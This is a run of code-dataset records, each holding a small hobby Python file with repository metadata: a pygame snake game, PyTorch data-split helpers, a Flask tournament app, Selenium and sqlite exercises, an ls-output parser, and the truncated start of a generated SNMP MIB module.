x_displace=0,\r\n        #                   size = \"small\", font = None, fontSize = None)\r\n        message_to_screen('CONTROLS', green, y_displace=-150, x_displace=0, size='large')\r\n        message_to_screen('Move Snake: Up, Down, Left and Right arrows', black, y_displace=10, x_displace=0, size='small')\r\n        message_to_screen('Pause: P ', black, y_displace=50, x_displace=0, size='small')\r\n\r\n        text_to_button('Play', yellow, light_yellow, 250,455,80,40, size='small', action='play')\r\n            \r\n        # text_to_button('Quit', black, white, 612.5,457,80,40 ,  size = 'small', action = 'quit')\r\n        \r\n        text_to_button('Quit', red, light_red, 450, 455, 80, 40,  size='small', action='quit')\r\n        pygame.display.update()\r\n\r\n\r\ndef randAppleGen():\r\n    \"\"\"\r\n    :return:\r\n    \"\"\"\r\n    rand_apple_x = round(random.randrange(40, display_width - AppleThickness - 40))\r\n    rand_apple_y = round(random.randrange(30, display_height - AppleThickness - 30))\r\n\r\n    return rand_apple_x, rand_apple_y\r\n\r\n\r\ndef text_to_button(msg, color, inactive_color, buttonx, buttony, buttonwidth, buttonheight, size = None, action = None, blink = False):\r\n    \"\"\"\r\n    :param msg:\r\n    :param color:\r\n    :param inactive_color:\r\n    :param buttonx:\r\n    :param buttony:\r\n    :param buttonwidth:\r\n    :param buttonheight:\r\n    :param size:\r\n    :param action:\r\n    :param blink:\r\n    :return:\r\n    \"\"\"\r\n\r\n    text_surf, text_rect = text_objects_button(msg, color, size)\r\n    text_size = text_surf.get_width()\r\n\r\n    # text_rect.center = ((buttonx+(buttonwidth/2)), buttony+(buttonheight/2))\r\n    cur = pygame.mouse.get_pos()\r\n    click = pygame.mouse.get_pressed()\r\n    gameDisplay.blit(text_surf, (buttonx, buttony))\r\n\r\n    if buttonx + text_size > cur[0] > buttonx and buttony + text_surf.get_height() > cur[1] > buttony:\r\n        text_surf2, text_rect2 = text_objects_button(msg, inactive_color, size)\r\n        gameDisplay.blit(text_surf2, (buttonx - 2, buttony - 2))\r\n\r\n        if click[0] == 1 and action is not None:\r\n            if action == 'quit':\r\n                pygame.quit()\r\n                quit()\r\n            if action == 'controls':\r\n                game_controls()\r\n            if action == 'play':\r\n                game_loop()\r\n            if action == 'main':\r\n                game_intro()\r\n        # pygame.display.update()\r\n\r\n\r\ndef game_intro():\r\n\r\n    intro = True\r\n\r\n    while intro:\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                pygame.quit()\r\n                quit()\r\n            if event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_c:\r\n                    intro = False\r\n                if event.key == pygame.K_q:\r\n                    pygame.quit()\r\n                    quit()\r\n\r\n        gameDisplay.fill(white)\r\n\r\n        gameDisplay.blit(welcome_screen, (0, 0))\r\n        gameDisplay.blit(sign, [display_width/2 - 50,display_height-20])\r\n\r\n        text_to_button('Play', yellow, light_yellow, 298, 440, 80, 40, size='medium2', action='play')\r\n\r\n        text_to_button('Controls', black, light_green, 102,467,100,40,  size = 'small', action = 'controls')\r\n        text_to_button('Controls', green, light_green, 100,465,100,40,  size = 'small', action = 'controls')\r\n        \r\n        text_to_button('Quit', red, white, 520,465,80,40 ,  size = 'small', action = 'quit')\r\n        text_to_button('Quit', black, light_red, 522,467,80,40 ,  size = 'small', action = 'quit')\r\n        text_to_button('Quit', red, light_red, 521,465,80,40 ,  size = 'small', action = 'quit')\r\n        \r\n        pygame.display.update()\r\n        clock.tick(FPS)\r\n\r\n# def button(text, x, y, width, height, inactive_color, active_color, action = None):\r\n#    cur = pygame.mouse.get_pos()\r\n#    click = pygame.mouse.get_pressed()\r\n#\r\n#    if x + width > cur[0] > x and y + height > cur[1] > y:\r\n#        pygame.draw.rect(gameDisplay, active_color, (x,y,width,height))\r\n#        pygame.draw.line(gameDisplay, black, (x, y),(x+width, y),3)\r\n#        pygame.draw.line(gameDisplay, black, (x+width, y),(x+width, y+height),3)\r\n#        pygame.draw.line(gameDisplay, black, (x+width, y+height),(x, y+height),3)\r\n#        pygame.draw.line(gameDisplay, black, (x, y+height),(x, y),3)\r\n#\r\n#        if click[0] == 1 and action != None:\r\n#            if action == 'quit':\r\n#                pygame.quit()\r\n#                quit()\r\n#            if action == 'controls':\r\n#                game_controls()\r\n#            if action == 'play':\r\n#                game_loop()\r\n#            if action == 'main':\r\n#                game_intro()\r\n#\r\n#    else:\r\n#        pygame.draw.rect(gameDisplay, inactive_color, (x,y,width,height))\r\n#        pygame.draw.line(gameDisplay, black, (x, y),(x+width, y),3)\r\n#        pygame.draw.line(gameDisplay, black, (x+width, y),(x+width, y+height),3)\r\n#        pygame.draw.line(gameDisplay, black, (x+width, y+height),(x, y+height),3)\r\n#        pygame.draw.line(gameDisplay, black, (x, y+height),(x, y),3)\r\n#\r\n#    text_to_button(text, white, x,y,width,height)\r\n\r\n\r\ndef Snake(block_size, snake_list):\r\n    \"\"\"\r\n    functionality for rotation\r\n    :param block_size:\r\n    :param snake_list:\r\n    :return:\r\n    \"\"\"\r\n\r\n    head = None\r\n    \r\n    if direction == 'right':\r\n        head = pygame.transform.rotate(img, 270)\r\n    if direction == 'left':\r\n        head = pygame.transform.rotate(img, 90)\r\n    if direction == 'up':\r\n        head = img\r\n    if direction == 'down':\r\n        head = pygame.transform.rotate(img, 180)\r\n\r\n    gameDisplay.blit(head, (snake_list[-1][0], snake_list[-1][1]))\r\n\r\n    for XnY in snake_list[:-1]:\r\n        gameDisplay.blit(skin,  (XnY[0], XnY[1]))\r\n        # pygame.draw.rect(gameDisplay, green, [XnY[0], XnY[1], block_size, block_size])\r\n    \r\n\r\ndef text_objects(text, color, size = None,  font = None, fontSize = None):\r\n    \"\"\"\r\n    :param text:\r\n    :param color:\r\n    :param size:\r\n    :param font:\r\n    :param fontSize:\r\n    :return:\r\n    \"\"\"\r\n\r\n    text_surface = None\r\n\r\n    if size == 'small':\r\n        text_surface = small_font.render(text, True, color)\r\n    elif size == 'medium':\r\n        text_surface = med_fontButton.render(text, True, color)\r\n    elif size == 'large':\r\n        text_surface = large_font.render(text, True, color)\r\n    elif font is not None:\r\n        font = pygame.font.Font(r'fonts/' + font , fontSize)\r\n        text_surface = font.render(text, True, color)\r\n\r\n    return text_surface, text_surface.get_rect()\r\n\r\n\r\ndef text_objects_button(text, color, size=None):\r\n    \"\"\"\r\n    :param text:\r\n    :param color:\r\n    :param size:\r\n    :return:\r\n    \"\"\"\r\n\r\n    text_surface = None\r\n\r\n    if size == 'small':\r\n        text_surface = small2font.render(text, True, color)\r\n    elif size == 'medium':\r\n        text_surface = med_fontButton.render(text, True, color)\r\n    elif size == 'medium2':\r\n        text_surface = med_fontButton2.render(text, True, color)\r\n    elif size == 'large':\r\n        text_surface = large_font.render(text, True, color)\r\n\r\n    return text_surface, text_surface.get_rect()\r\n\r\n\r\ndef health_bars(snake_health):\r\n    \"\"\"\r\n    :param snake_health:\r\n    :return:\r\n    \"\"\"\r\n    if snake_health > 75:\r\n        snake_health_color = green\r\n    elif snake_health > 50:\r\n        snake_health_color = yellow\r\n    else:\r\n        snake_health_color = red\r\n    health_text = small_font.render('Health: ', True, white)\r\n    gameDisplay.blit(health_text,[display_width-210, 20])\r\n    pygame.draw.rect(gameDisplay, black , (display_width-131, 25, 92, 22))\r\n    pygame.draw.rect(gameDisplay, white , (display_width-130, 26, 90, 20))\r\n    pygame.draw.rect(gameDisplay, snake_health_color , (display_width-130, 26, snake_health, 20))\r\n\r\n\r\ndef game_loop():\r\n    global direction\r\n    global snake_length\r\n    direction = 'right'\r\n    \r\n    score_value = 1\r\n\r\n    game_exit = False\r\n    game_over = False\r\n\r\n    lead_x = display_width/2\r\n    lead_y = display_height/2\r\n\r\n    lead_x_change = 10\r\n    lead_y_change = 0\r\n\r\n    snake_health = 90\r\n\r\n    snake_list = []\r\n    snake_length = 1\r\n\r\n    rand_apple_x, rand_apple_y = randAppleGen()\r\n    \r\n    # The event handling loop is:\r\n    while not game_exit:\r\n        # if game_over == True:\r\n        #     pygame.display.update()\r\n\r\n        while game_over is True:\r\n            game_overAnim.play()\r\n            gameDisplay.blit(bgd, (0, 0))\r\n            gameDisplay.blit(game_over_face, (300, 200))\r\n            Snake(block_size, snake_list)\r\n            gameDisplay.blit(bgdside, (0, 0))\r\n            gameDisplay.blit(sign, [display_width / 2 - 30, display_height - 20])\r\n            health_bars(snake_health)\r\n            # pygame.time.set_timer(Text1, 10)\r\n            # pygame.time.set_timer(Text2, 90)\r\n\r\n            game_overAnim.blit(gameDisplay, (263, 352))\r\n            # message_to_screen(\"Game Over\",\r\n            #                   red,\r\n            #                   y_displace=180,\r\n            #                   x_displace = 25,\r\n            #                   size = None,\r\n            #                   font = 'BEARPAW_.ttf',\r\n            #                   fontSize = 90,\r\n            #                    )\r\n\r\n            message_to_screen('Score: ' + str((score_value-1)*2),\r\n                              black,\r\n                              y_displace=-220,\r\n                              x_displace=10, \r\n                              size=None,\r\n                              font='VIDEOPHREAK.ttf',\r\n                              font_size=50)\r\n\r\n            text_to_button('Play Again', black, light_yellow, 62, 455, 80, 40, size='small', action='play')\r\n            text_to_button('Play Again', yellow, light_yellow, 60, 455, 80, 40, size='small', action='play')\r\n            \r\n            # text_to_button('Quit', black, white, 612.5,457,80,40 ,  size = 'small', action = 'quit')\r\n            text_to_button('Quit', black, black, 622, 455, 80, 40,  size='small', action='quit')\r\n            text_to_button('Quit', red, light_red, 620, 455, 80, 40,  size='small', action='quit')\r\n\r\n            # button('Play Again', 150,400,100,40, black, light_green, action = 'play')\r\n            # button('Controls', 350,400,100,40, black, light_green, action = 'controls')\r\n            # button('Quit', 570,400,80,40 , black, light_green, action = 'quit')\r\n            \r\n            for event in pygame.event.get():\r\n                if event.type == pygame.QUIT:\r\n                    game_exit = True\r\n                    game_over = False\r\n\r\n            clock.tick(300)\r\n            \r\n            pygame.display.update()\r\n\r\n            # if event.type == pygame.KEYDOWN:\r\n            #     if event.key == pygame.K_q:\r\n            #         game_exit = True\r\n            #         game_over = False\r\n            #     if event.key == pygame.K_c:\r\n            #         game_loop()\r\n\r\n        for event in pygame.event.get():\r\n            if event.type == pygame.QUIT:\r\n                game_exit = True\r\n            if event.type == pygame.KEYDOWN:\r\n                if event.key == pygame.K_LEFT:\r\n                    direction = 'left'\r\n                    lead_x_change = -block_size\r\n                    lead_y_change = 0\r\n                elif event.key == pygame.K_RIGHT:\r\n                    direction = 'right'\r\n                    lead_x_change = block_size\r\n                    lead_y_change = 0 \r\n                elif event.key == pygame.K_UP:\r\n                    direction = 'up'\r\n                    lead_y_change = -block_size\r\n                    lead_x_change = 0 \r\n                elif event.key == pygame.K_DOWN:\r\n                    direction = 'down'\r\n                    lead_y_change = block_size\r\n                    lead_x_change = 0\r\n                elif event.key == pygame.K_p:\r\n                    pause()\r\n        \r\n        if lead_x >= display_width-35 or lead_x <= 25 or lead_y >= display_height-20 or lead_y <= 10:\r\n            snake_health = 1\r\n            pygame.display.update()\r\n            game_over = True\r\n             \r\n            # Code to write if you want the stuff to stop moving when you relase a key\r\n            # if event.type == pygame.KEYUP:\r\n            #    if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\r\n            #        lead_x_change = 0\r\n\r\n        lead_x += lead_x_change\r\n        lead_y += lead_y_change\r\n        \r\n        # gameDisplay.fill(white)\r\n        gameDisplay.blit(bgd, (0,0))\r\n        \r\n        # pygame.display.update()\r\n\r\n        # pygame.draw.rect(gameDisplay, red, [rand_apple_x, rand_apple_y, AppleThickness, AppleThickness])\r\n\r\n        gameDisplay.blit(eba, (rand_apple_x, rand_apple_y))\r\n        snake_head = list()\r\n        snake_head.append(lead_x)\r\n        snake_head.append(lead_y)\r\n        snake_list.append(snake_head)\r\n\r\n        if len(snake_list) > snake_length:\r\n            del snake_list[0]\r\n\r\n        # collision detection for loop:\r\n        for eachSegment in snake_list[:-1]:\r\n            if eachSegment == snake_head:\r\n                snake_health -= 30\r\n                if snake_health <= 0:\r\n                    game_over = True\r\n\r\n        # displaying the game interface and the snake\r\n        Snake(block_size, snake_list)\r\n        gameDisplay.blit(bgdside, (0, 0))\r\n        gameDisplay.blit(sign, [display_width / 2 - 30, display_height - 20])\r\n        score_update((score_value-1)*2)\r\n        health_bars(snake_health)\r\n        pygame.display.update()\r\n\r\n        # And this is the code for when the snake 'eats' an apple\r\n        if (rand_apple_x < lead_x < rand_apple_x + AppleThickness) or (\r\n                rand_apple_x < lead_x + block_size < rand_apple_x + AppleThickness):\r\n            if rand_apple_y < lead_y < rand_apple_y + AppleThickness:\r\n                rand_apple_x, rand_apple_y = randAppleGen()\r\n                score_value += 4\r\n                snake_length += 4\r\n            elif rand_apple_y < lead_y + block_size < rand_apple_y + AppleThickness:\r\n                rand_apple_x, rand_apple_y = randAppleGen()\r\n                snake_length += 4\r\n                score_value += 4\r\n\r\n        # The bonus handling code:\r\n        # bonus_text = med_font.render('Bonus:  +4', True, black)\r\n        if score_value == 17 or score_value == 49 or score_value == 81 or score_value == 113 or score_value == 145:\r\n            # gameDisplay.blit(bonus_text, [display_width/2 - 200, 100])\r\n            bonusAnim.play()\r\n            bonusAnim.blit(gameDisplay, (display_width*0.35, display_height*0.3))\r\n            pygame.display.update()\r\n            if score_value == 21 or score_value == 53 or score_value == 85 or score_value == 117 or score_value == 149:\r\n                score_value += 4\r\n                snake_length += 4\r\n\r\n        clock.tick(FPS)\r\n\r\n    pygame.quit()\r\n    quit()\r\n\r\ngame_intro()\r\ngame_loop()\r\n","repo_name":"OpeOnikute/Ejo---The-Yoruba-Snake-Game","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19172,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"}
{"seq_id":"28144184977","text":"import math\nimport numpy as np\nimport torch\n\n\nTOO_LITTLE_ELEMENTS_WARNING = 'Warning: Too little elements to split. Some splits might get 0 elements.'\n\n\ndef uniform(X, y, splits):\n    if len(X) < splits:\n        print(TOO_LITTLE_ELEMENTS_WARNING)\n    split_size = math.floor(len(X) / splits)\n    rest = len(X) % splits\n    split_sections = [split_size + 1 if i < rest else split_size for i in range(splits)]\n    split_X = torch.split(X, split_sections, dim=0)\n    split_y = torch.split(y, split_sections, dim=0)\n\n    for i in range(splits):\n        yield split_X[i], split_y[i]\n\n\ndef linear(X, y, splits):\n    split_sum = splits * (splits + 1) / 2\n    smallest_split_size = math.floor(len(X) / split_sum)\n    if smallest_split_size == 0:\n        print(TOO_LITTLE_ELEMENTS_WARNING)\n\n    split_sections = [smallest_split_size * (i + 1) for i in range(splits)]\n    rest = len(X) - sum(split_sections)\n    for i in range(rest):\n        split_sections[i % len(split_sections)] += 1\n\n    split_X = torch.split(X, split_sections, dim=0)\n    split_y = torch.split(y, split_sections, dim=0)\n\n    for i in range(splits):\n        yield split_X[i], split_y[i]\n\n\ndef beta_distribution(X, y, splits, a, b):\n    if len(X) < splits:\n        print(TOO_LITTLE_ELEMENTS_WARNING)\n        split_sections = [1 if i < len(X) else 0 for i in range(splits)]\n    else:\n        rng = np.random.default_rng()\n        beta_draws = list(rng.beta(a, b, splits))\n        draw_sum = sum(beta_draws)\n\n        split_sections = [1 for _ in range(splits)]\n        remaining = len(X) - splits\n        for i in range(splits - 1):\n            split_sections[i] = int(round(remaining / draw_sum * beta_draws[i]))\n        rest = len(X) - sum(split_sections)\n        split_sections[-1] += rest\n\n    split_X = torch.split(X, split_sections, dim=0)\n    split_y = torch.split(y, split_sections, dim=0)\n\n    for i in range(splits):\n        yield split_X[i], split_y[i]\n\n\ndef beta_right_skewed(X, y, splits):\n    return beta_distribution(X, y, splits, a=2, b=5)\n\n\ndef beta_center(X, y, splits):\n    return beta_distribution(X, y, splits, a=2, b=2)\n\n\ndef beta_left_skewed(X, y, splits):\n    return beta_distribution(X, y, splits, a=5, b=2)\n","repo_name":"kasztanka/federated-learning-mimiciii","sub_path":"code/distributions.py","file_name":"distributions.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"70436892582","text":"\nimport json\n\nfrom flask import Flask, request, session, render_template, redirect, url_for\n\nimport flipper_frenzy.main\n\napp = Flask(__name__)\napp.secret_key = \"give the golden goose a gander\"\n\n\n@app.route(\"/\")\ndef index():\n    message = session.pop(\"message\", None)\n    t = flipper_frenzy.main.Tournament()\n    data = session.get(\"tournament\")\n    if data is not None:\n        t.restore(data)\n    session[\"tournament\"] = t.serialize()\n    print(t._avail_players)\n    return render_template(\"index.html\", message=message, **t.serialize())\n\n\n@app.route(\"/player/<player_name>\")\ndef player_detail(player_name):\n    t = flipper_frenzy.main.Tournament()\n    data = session.get(\"tournament\")\n    if data is None:\n        session[\"message\"] = \"No tournament data found in current session!\"\n        return redirect(url_for(\"index\"))\n    t.restore(data)\n    player_data = t.get_player_data(player_name)\n    return render_template(\"player.html\", **player_data)\n\n\n@app.route(\"/add-player\", methods=[\"POST\"])\ndef add_player():\n    player_name = request.form.get(\"name\")\n    if player_name:\n        data = session[\"tournament\"]\n        t = flipper_frenzy.main.Tournament()\n        t.restore(data)\n        t.add_player(player_name)\n        session[\"tournament\"] = t.serialize()\n        session[\"message\"] = \"Player added!\"\n    else:\n        session[\"message\"] = \"Name can't be empty!\"\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/enable-player/\", methods=[\"GET\"])\ndef enable_player():\n    player_name = request.args.get(\"player_name\")\n    enable = request.args.get(\"enable\") == \"True\"\n    data = session[\"tournament\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    session[\"message\"] = t.enable_player(player_name, enable)\n    session[\"tournament\"] = t.serialize()\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/add-machine\", methods=[\"POST\"])\ndef add_machine():\n    machine_name = request.form.get(\"name\")\n    if machine_name:\n        data = session[\"tournament\"]\n        t = flipper_frenzy.main.Tournament()\n        t.restore(data)\n        t.add_machine(machine_name)\n        session[\"tournament\"] = t.serialize()\n        session[\"message\"] = \"Machine added!\"\n    else:\n        session[\"message\"] = \"Name can't be empty!\"\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/remove-machine/\", methods=[\"GET\"])\ndef enable_machine():\n    machine_name = request.args.get(\"machine_name\")\n    enable = request.args.get(\"enable\") == \"True\"\n    data = session[\"tournament\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    session[\"message\"] = t.enable_machine(machine_name, enable)\n    session[\"tournament\"] = t.serialize()\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/sort/\", methods=[\"GET\"])\ndef sort_by():\n    by_rank = request.args.get(\"by_rank\") == \"True\"\n    data = session[\"tournament\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    t.sort_by(by_rank)\n    session[\"tournament\"] = t.serialize()\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/next-match\", methods=[\"GET\", \"POST\"])\ndef next_match():\n    data = session[\"tournament\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    session[\"message\"] = t.next_match()\n    session[\"tournament\"] = t.serialize()\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/shuffle\", methods=[\"GET\", \"POST\"])\ndef shuffle():\n    data = session[\"tournament\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    t.shuffle()\n    session[\"message\"] = \"Queue shuffled!\"\n    session[\"tournament\"] = t.serialize()\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/match-winner\", methods=[\"GET\", \"POST\"])\ndef match_winner():\n    data = session[\"tournament\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    t.complete_match(int(request.args[\"match_id\"]), request.args[\"player_name\"])\n    session[\"tournament\"] = t.serialize()\n    session[\"message\"] = \"Match finished!\"\n    return redirect(url_for(\"index\"))\n\n\n# TODO revert back to post only\n@app.route(\"/reset-all\", methods=[\"GET\", \"POST\"])\ndef reset_all():\n    session.pop(\"tournament\", None)\n    session[\"message\"] = \"All data cleared!\"\n    return redirect(url_for(\"index\"))\n\n\n# TODO revert back to post only\n@app.route(\"/reset-tournament\", methods=[\"GET\", \"POST\"])\ndef reset_tournament():\n    data = session[\"tournament\"]\n    del data[\"avail_players\"]\n    del data[\"players\"]\n    del data[\"matches\"]\n    t = flipper_frenzy.main.Tournament()\n    t.restore(data)\n    session[\"message\"] = \"Tournament reset!\"\n    return redirect(url_for(\"index\"))\n\n\n@app.route(\"/debug\")\ndef debug():\n    t = flipper_frenzy.main.Tournament()\n    data = session.get(\"tournament\")\n    if data is not None:\n        t.restore(data)\n    message = session.pop(\"message\", None)\n    data = json.dumps(t.serialize(), indent=2)\n    return render_template(\"debug.html\", data=data, message=message)\n\n\n@app.route(\"/debug-update\", methods=[\"POST\"])\ndef debug_post():\n    data = request.form.get(\"data\")\n    t = flipper_frenzy.main.Tournament()\n    try:\n        data = json.loads(data)\n        t.restore(data)\n    except:\n        session[\"message\"] = \"Could not decode JSON data!\"\n        return redirect(url_for(\"debug\"))\n\n    session[\"tournament\"] = t.serialize()\n    session[\"message\"] = \"Tournament data updated!\"\n    return redirect(url_for(\"index\"))\n\n\nif __name__ == \"__main__\":\n    app.run(debug=True, host=\"0.0.0.0\", port=3000)\n","repo_name":"zephmann/flipper-frenzy","sub_path":"flipper_frenzy/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37618967538","text":"from time import sleep\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium.webdriver.common.by import By\n\nservice = Service(ChromeDriverManager().install())\ndriver = webdriver.Chrome(service=service)\n\ndef find_by_text(driver, tag, text):\n    \"\"\" --Encontrar o elemento com o texto 'text'--\n\n    Argumentos:\n     - driver: Instância do browser (Chrome)\n     - text: Conteúdo que estará na tag\n     - tag: Onde o texto será buscado\n    \"\"\"\n    elements = driver.find_elements(By.TAG_NAME, tag) # Retorna lista, pois há vários elementos com a mesma TAG_NAME\n    for e in elements:\n        if e.text == text:\n            return e\n\ndef find_by_href(driver, link):\n    \"\"\" --Encontrar o elemento 'a' com o link 'link'\n\n    Argumentos:\n     - driver: Instância do browser (Chrome)\n     - link: Link que será procurado dentro de todas as tag 'a'\n    \"\"\"\n    elements = driver.find_elements(By.TAG_NAME, 'a')\n    for e in elements:\n        if link in e.get_attribute('href'):\n            return e\n\ndriver.get('http://selenium.dunossauro.live/aula_04_a.html')\n\nelement_ddg = find_by_text(driver, 'li', 'DuckDuckGo')\nprint(element_ddg)\nprint(element_ddg.text)\nprint(element_ddg.get_attribute('href'))\n\nelement_ddg = find_by_href(driver, 'ddg.gg')\nprint(element_ddg)\nprint(element_ddg.text)\nprint(element_ddg.get_attribute('href'))","repo_name":"ezequielferreira18/CursoSelenium","sub_path":"aula04_02.py","file_name":"aula04_02.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74721858021","text":"# exemplo 1\ntry:\n     arquivo = open('teste.txt', 'r')\n     print('Arquivo aberto!')\nexcept:\n     arquivo = open('teste.txt', 'w+')\n     print('Arquivo criado!')\nelse:\n     texto = arquivo.readlines()\nfinally:\n     arquivo.close()\n\n# exemplo 2\n# a = input('Digite um valor: ')\n# try:\n#      divisao = 1 / int(a)\n# except ValueError:\n#      print('Valor não pode ser convertido para inteiro!')\n# except ZeroDivisionError:\n#      print('Valor não pode ser zero!')\n# except:\n#      print('Erro desconhecido')\n# finally:\n#      print('Fim do programa.')","repo_name":"maiconcarlosp/python","sub_path":"Aula6/excecoes.py","file_name":"excecoes.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71944475940","text":"# Process ls\n#\n# Unix based systems provide a command ls to list the contents of a directory.\n# By default it displays the contents in multiple columns\n# (the number of columns is determined by the width of the console window).\n# The space between entries in adjacent columns is at least two spaces.\n# An example of the output is as follows.\n#\n# acpid.pid     console-kit-daemon.pid  lock        pm-utils      sdp                      upstart-socket-bridge.pid\n# acpid.socket  crond.pid               mdm.pid     postgresql    sendsigs.omit.d          upstart-udev-bridge.pid\n# apache2       crond.reboot            mdm_socket  pppconfig     shm                      user\n# apache2.pid   cups                    motd        resolvconf    udev                     utmp\n# avahi-daemon  dbus                    mount       rsyslogd.pid  udisks                   wicd\n# console       dhclient.pid            network     samba         udisks2                  wpa_supplicant\n# ConsoleKit    initramfs               plymouth    screen        upstart-file-bridge.pid\n# Write a function process_ls that takes a string, containing the output from a call to ls.\n# The function returns a list containing the contents of the directory.\n# The order of the contents should be the same as specified in the string,\n# i.e. the contents in the first column from top to bottom, then the second column, etc.\n#\n# Note that the contents of the directory will not contain two adjacent spaces, and will not start or end with a space.\n#\n# Example\nfrom pprint import pprint\nimport itertools as it\nimport re\n\n\ndef process_ls(string):\n    lis =[]\n    for ls in string.splitlines():\n        lis.append(re.split('  +', ls))\n\n    l = list(it.zip_longest(*lis))\n\n    flattened = [val for sublist in l for val in sublist]\n    a = [x for x in flattened if x is not None]\n\n    a = list(filter(None, a))\n    a = [x.strip('# ') for x in a]\n\n    return a\n    # fsasadsadsadasdasdsadsadasdassd\n    #return sorted(a, key=lambda x: x.lower(), reverse=False)\n\n","repo_name":"Kallehz/Python","sub_path":"Próf2/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":2018,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"42505285257","text":"\r\n\r\nimport os\r\nimport sqlite3\r\nimport glob\r\n\r\nfileList = ['information.docx','Hello.txt','myImages.png', \\\r\n            'myMovie.mpg','World.txt','data.pdf','myPhoto.jpg']\r\n\r\nconn = sqlite3.connect('pythonDrillDB.db')\r\n\r\nwith conn: # CREATE DB\r\n    cur = conn.cursor()\r\n    cur.execute(\"CREATE TABLE IF NOT EXISTS tbl_Files(\\\r\n        ID INTEGER PRIMARY KEY AUTOINCREMENT, \\\r\n        col_FileName TEXT \\\r\n        )\")\r\n    conn.commit()\r\ncur.close()\r\nconn.close()\r\n\r\nfor fileName in fileList: # VERIFY .TXT AND INSERT INTO TABLE\r\n    if fileName.endswith(\".txt\"):\r\n        x = fileName\r\n        conn = sqlite3.connect('pythonDrillDB.db')\r\n        with conn:\r\n            cur = conn.cursor()\r\n            cur.execute(\"INSERT INTO tbl_Files(col_FileName) VALUES (?)\", \\\r\n                        (x,))\r\n            conn.commit()\r\n        conn.close()\r\n        \r\n\r\nconn = sqlite3.connect('pythonDrillDB.db')\r\n\r\nwith conn:\r\n    cur = conn.cursor()\r\n    cur.execute(\"SELECT col_FileName FROM tbl_Files\")\r\n    varFiles = cur.fetchall()\r\n    for item in varFiles:\r\n        msg = \"File Names: {}\".format(item)\r\n        print(msg)\r\n","repo_name":"TaylorEvert/The-Tech-Academy-Basic-Python-Projects","sub_path":"Python Projects/dbPythonDrill.py","file_name":"dbPythonDrill.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6802260289","text":"#\n# PySNMP MIB module OLD-CISCO-XNS-MIB (http://snmplabs.com/pysmi)\n# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/OLD-CISCO-XNS-MIB\n# Produced by pysmi-0.3.4 at Wed May  1 14:32:56 2019\n# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4\n# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) \n#\nOctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols(\"ASN1\", \"OctetString\", \"ObjectIdentifier\", \"Integer\")\nNamedValues, = mibBuilder.importSymbols(\"ASN1-ENUMERATION\", \"NamedValues\")\nSingleValueConstraint, ValueRangeConstraint, ConstraintsUnion, ValueSizeConstraint, ConstraintsIntersection = mibBuilder.importSymbols(\"ASN1-REFINEMENT\", \"SingleValueConstraint\", \"ValueRangeConstraint\", \"ConstraintsUnion\", \"ValueSizeConstraint\", \"ConstraintsIntersection\")\ntemporary, = mibBuilder.importSymbols(\"CISCO-SMI\", \"temporary\")\nNotificationGroup, ModuleCompliance = mibBuilder.importSymbols(\"SNMPv2-CONF\", \"NotificationGroup\", \"ModuleCompliance\")\nMibIdentifier, Counter64, NotificationType, Gauge32, iso, Integer32, IpAddress, ModuleIdentity, Unsigned32, ObjectIdentity, Bits, TimeTicks, MibScalar, MibTable, MibTableRow, MibTableColumn, Counter32 = mibBuilder.importSymbols(\"SNMPv2-SMI\", \"MibIdentifier\", \"Counter64\", \"NotificationType\", \"Gauge32\", \"iso\", \"Integer32\", \"IpAddress\", \"ModuleIdentity\", \"Unsigned32\", \"ObjectIdentity\", \"Bits\", \"TimeTicks\", \"MibScalar\", \"MibTable\", \"MibTableRow\", \"MibTableColumn\", \"Counter32\")\nTextualConvention, DisplayString = mibBuilder.importSymbols(\"SNMPv2-TC\", \"TextualConvention\", \"DisplayString\")\ntmpxns = MibIdentifier((1, 3, 6, 1, 4, 1, 9, 3, 2))\nxnsInput = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 1), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsInput.setStatus('mandatory')\nif mibBuilder.loadTexts: xnsInput.setDescription('Total input count of number of XNS packets.')\nxnsLocal = MibScalar((1, 3, 6, 1, 4, 1, 9, 3, 2, 2), Integer32()).setMaxAccess(\"readonly\")\nif mibBuilder.loadTexts: xnsLocal.setStatus('mandatory')\nif mibBuilder.loadTexts: 